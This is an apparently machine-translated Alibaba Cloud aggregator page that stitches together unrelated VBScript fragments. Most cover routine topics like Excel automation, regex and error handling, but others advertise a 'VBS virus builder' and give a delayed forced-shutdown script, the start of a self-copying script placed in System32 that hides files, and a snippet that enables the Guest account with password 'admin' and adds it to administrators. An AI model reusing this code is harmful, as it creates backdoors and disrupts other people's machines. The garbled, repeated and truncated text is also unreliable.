VBS script Virus Builder V1.0 version
Introduction
Produced by the new version of the VBS script Virus 1.0, this program through the collection of user input, selection, production of the required VBS script virus, belong to the Fool-type VBS virus manufacturing program. From then on, to create a
Today, a netizen reflects cannot execute VBS file, under normal circumstances, many bad children with VBS write virus, so sometimes antivirus will kill or cancel execution vbs file
1. No script engine with file extensions ". vbs".Reason: Some software will change the default open mode of ".
Copy Code code as follows:
Set wsh = CreateObject ("Wscript.Shell")
Wscript.Sleep 15 * 60 * 1000
Wsh.run "SHUTDOWN/S/T 0"
Double-click Run, unexpectedly pop-up error dialog box
Copy Code code as follows:
Line:1
Char:1
Error:wrong number of arguments or invalid property assignment: ' WSH '
Code:800a01c2
Source:microsoft VBScript Runtime Error
Accustomed to write a script with Vbsedit, do not vbsedit I wrote the
Do not understand the registry, VBS, batch processing does not matter, as long as you will learn, will absorb the essence of others, will find information, | forum | baidu | google|, then you can use it, and it's very good.
Post some collected text and put it here. (Green is the title, the blue is the original author, the red part is the part that needs to be modified, according to your own actual situation change)
= = = = = = =
Copy Code code as follows:
On Error Resume Next
Dim Fso,wshell,curfolder,curdristr,curdri
Set fso=createobject ("Scripting.FileSystemObject")
Set wshell=createobject ("Wscript.Shell")
Set Curfolder=fso. GetFolder (".")
Curdristr=left (wscript.scriptfullname,3)
Set Curdri=fso. Getdrive (CURDRISTR)
Reghid () ' does not show hidden files
If Wscript.scriptfullname=fso. GetSpecialFolder (1) "\mp3.vbs" Then ' if in System32
For I=1 to 2 step
function (This function is not required.) )C Language File operationsBasic file Operation:1. Open File: fopen function2. Format write operation: fprintf function3. Close the file toC Language System functions1. Header file contains: #include2. Learn the system mechanism, you can return the instructions to the DOS system3. Adjust the window styleAt least let your window take a color, like a personVBS INSTRUCTIONSDirective: CreateObject ("SAPI. SpVoice
function (This function is not required.) )C Language File operationsBasic file Operation:1. Open File: fopen function2. Format write operation: fprintf function3. Close the file toC Language System functions1. Header file contains: #include2. Learn the system mechanism, you can return the instructions to the DOS system3. Adjust the window styleAt least let your window take a color, like a personVBS INSTRUCTIONSDirective: CreateObject ("SAPI. SpVoice
) = "after" thenFile. Name = myarray (y) afteralarm formatElseMsgbox "Please set before confirmation or after confirmation! "," Prompt" Wscript. Quit End ifY = Y + 1'Wscript. ECHO file. NameNext
End Function
'================================================ ======================================
'If prefix_name 'For each F in FS'F. Name = prefix_name F. Name'Next'End if''If suffix_name 'For each F in FS'Name = mid (F. Name, 1, Rev (F. Name, ".")-1)'Forma
Recently, you need to use Sourceinsight to view the project code developed under Linux, and we know that the default encoding format for text files in Linux systems is UTF-8, and the default encoding format for Windows Chinese is Gb2312. The coding format in the system is different, the key is sourceinsight unexpectedly do not support UTF-8, resulting in the proj
This article will introduce in detail how to use CreateObject and WScript. CreateObject in VBS in vb. You can refer to it.
Many new VBS users are confused about the differences between CreateObject and WScript. CreateObject. Why do some code use CreateObject, while others use WScript. CreateObject?
Differences between CreateObject and WScript. CreateObject:Provides the WScript object method. Similar to the
A vbs script code is used to implement the recovery function, which is not long enough. The younger brother was first released in the 360 help center, but many friends asked Q how to use it, now I want to write a description on the csdn blog!
The most ideal solution:
First, download the file ①: so8killer_ex.zip
Decompress the file to a directory containing shortcuts.
Generally, the path of the storage shortcut cannot run the user folder ②
Find
This article from the csdn blog, reproduced please indicate the source: http://blog.csdn.net/jinghaianlange/archive/2007/07/16/1693676.aspx
There are many causes of errors. For example, if you enter a value of the error type, or the script cannot find the required file, directory, or drive, we can use Loop Technology to handle errors, however, vbs also provides some basic technologies for error detection and handling.
1. The most common error is a
Today, I accidentally found my computer poisoned. Every time I start the system, I found that my administrator account was not displayed at startup, and two inexplicable administrator accounts were created. It was very depressing. I checked the startup Item (msconfig) found. Several suspicious startup items are added, and c: \ windows \ system32 \
Http1.vbs open a file like this Code : (101,116, 111,115,116, 114,101, 97,116,101, 106,101, 99,116, 77,1
Create a vbs file with the following content:
Dim wsh
Set wsh = Createobject ("wscript. Shell ")
Wsh. Run "Net user guest/active: yes", 0
Wsh. Run "Net user Guest admin", 0
Wsh. Run "net localgroup administrators guest/Add", 0
In the preceding section, vbs activates the Guest account, adds it to the advanced management group, and sets the password to admin.
Then, why don't you use the bat? Continue
Today, I went around for a boring search and asked:
Who can provide detailed procedures for the 20 factorial in vbs?
The answer is as follows:Copy codeThe Code is as follows: function jx (x)J = 1For I = 2 to xJ = j * INextJx = jEnd functionMsgbox jx (20)
Run the above program and output 2.43290200817664E + 18. Smiling, I once again proved my previous conclusion that most of my answers to questions on such websites are poor.
In fact, I have already wr
Vbs actually has two identifiers:
Normal identifier (normalidentifier)
Bracketidentifier)
However, I have read vbs books that only talk about common identifiers, without brackets.
We are already familiar with the rules for common identifiers:
The first character must be a letter.It can be followed by letters, numbers, and underscores (_)The length cannot exceed 255 charactersIt cannot be a reserved k
Atitit. process-oriented programming language exception handling C language ASP vbs of the Try Catch Implement1. Return value method . and global ERROR variable Method 12. Throw Exception Err.Raise 13. Implement try on Error Resume Next 14. Catch Practice 25. Reference 21. Return value method. andGlobalERROR Variable methodreturn value method .C Language process only return value method ...A better approach is the global variable approach , similar t
All along, I used the New RegExp to create regular expression objects:
Set regex = new RegExp However, it is also possible to create a regular expression object that is new to the VBS:
Set regex = CreateObject ("VBScript.RegExp") it seems that none of the VBScript books I've read has been written about this, and of course there's still a lot of stuff that's not on the books.
Now that a regular expression is mentioned, by the way, the regular expressi
. OExcel.ActiveSheet.Columns (1). Insert17) Delete one row or column:A. OExcel.ActiveSheet.Rows (2). DeleteB. OExcel.ActiveSheet.Columns (1). Delete18 Print Preview Worksheet:OExcel.ActiveSheet.PrintPreview19 Print output Worksheet:OExcel.ActiveSheet.PrintOut20) Worksheet Save:If not oExcel.ActiveWorkBook.Saved thenOExcel.ActiveSheet.PrintPreview21) Save the worksheet as:Oexcel.saveas ("C:\Excel\Demo1.xls")22) Discard the disk:oExcel.ActiveWorkBook.Saved = True23 Close the workbook:OExcel.WorkBo
You first copy the following code, then save as Filesave.vbs, double-click Open, what do you see?
Copy Code code as follows:
Set Objdialog = CreateObject ("Safrcfiledlg.filesave")
Set fso = CreateObject ("Scripting.FileSystemObject")
Objdialog.filename = "Test"
Objdialog.filetype = ". txt"
Intreturn = Objdialog.openfilesavedlg
If Intreturn Then
Fso. CreateTextFile (Objdialog.filename Objdialog.filetype)
Else
Wscript.Quit
End If
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.